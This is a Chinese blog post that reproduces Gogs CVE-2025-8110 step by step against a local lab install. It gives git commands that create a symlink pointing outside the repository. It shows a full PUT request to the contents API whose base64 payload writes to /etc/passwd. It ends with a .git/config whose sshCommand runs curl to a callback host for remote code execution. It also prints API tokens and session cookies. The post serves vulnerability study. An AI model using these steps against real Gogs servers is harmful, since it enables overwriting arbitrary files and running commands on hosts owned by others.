目录

  1. 1. 前言
  2. 2. 复现
  3. 3. api 操作

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

gogs CVE-2025-8110

2025/12/27 Web CVE
  |     |   总文章阅读量:

前言

参考: https://forum.butian.net/share/4680


复现

启动之后访问3000端口完成安装,注意安装数据选sqlite数据库即可然后不用在下面填管理员用户

安装完成后,我们只需后续在主页注册一个普通用户即可

image-20260209114249715

注册完成后登录,进入右上角头像处的用户设置,填入自己的ssh公钥即可

image-20260209142658209

再点击下面的授权应用生成一个令牌 b98ca085c723cafc544f3536c1267dd548021b8d,我们后续 PUT 推送时需要用到

image-20260209160044225

为了方便后续拉取镜像触发sshCommand(选做)

测试ssh是否连通,判断是否可以通过 ssh git 推送文件

ssh -T -p 2022 git@localhost

绑定 ~/.ssh/config

Host gogs
    HostName 192.168.1.104
    User git
    Port 2022
    IdentityFile ~/.ssh/id_rsa

本地挂几个软链接符号文件

创建一个本地仓库,并绑定到远程

git init repo
ln -s /tmp/pwned secret-link
chmod -h 777 secret-link
git config user.name "test"
git config user.email "test@example.com"
git remote add origin gogs:test/aaa.git
git remote set-url origin ssh://git@localhost:2022/test/aaa.git

git add . 
git commit -m "111" 
git branch -M main 
git push -u origin main
git pull origin main --rebase # 同步

image-20260209150846195

由于我们本地分支设置成了 main,所以需要修改该仓库的默认分支为 main

image-20260209170532656

然后发送以下 PUT 数据包

PUT /api/v1/repos/test/aaa/contents/secret-link HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
accept: */*
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Cookie: lang=zh-CN; i_like_gogs=ef66b5dedff350c0; gogs_awesome=test; gogs_incredible=b96d3eaa2de87f0a8f60cd5ae33f1ca6837bafd756e2b942f2f6895e4f64e4d8; _csrf=1udr0JKfxJP69bzaac9oTc2CmHE6MTc3MDYyMTA4Njk3NTgyMDUxMw
Authorization: token 44130288a931d1a2082e51f252457f900da3602b
Content-Type: application/json
Content-Length: 83

{"message": "Create symlink", "content": "ZWNobyAiSGFja2VkIiA+PiAvZXRjL3Bhc3N3ZA=="}

image-20260209170545641

写入文件

image-20260209170602975

RCE 的方法就是覆写 .git/config 文件来触发RCE

本质是仓库拥有者通过 ssh 协议对仓库做 clone,pull 等操作时触发恶意命令,所以还是需要搭配仓库所有者自己主动操作仓库时才可触发.这里就以我们自己注册的普通 test 用户触发.

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase=true
        precomposeunicode=true
        sshCommand="curl 回连平台~"
[remote "origin"]
        url = ssh://git@localhost:2022/test/ccc.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

api 操作

参考 https://gogs.io/api-reference/introduction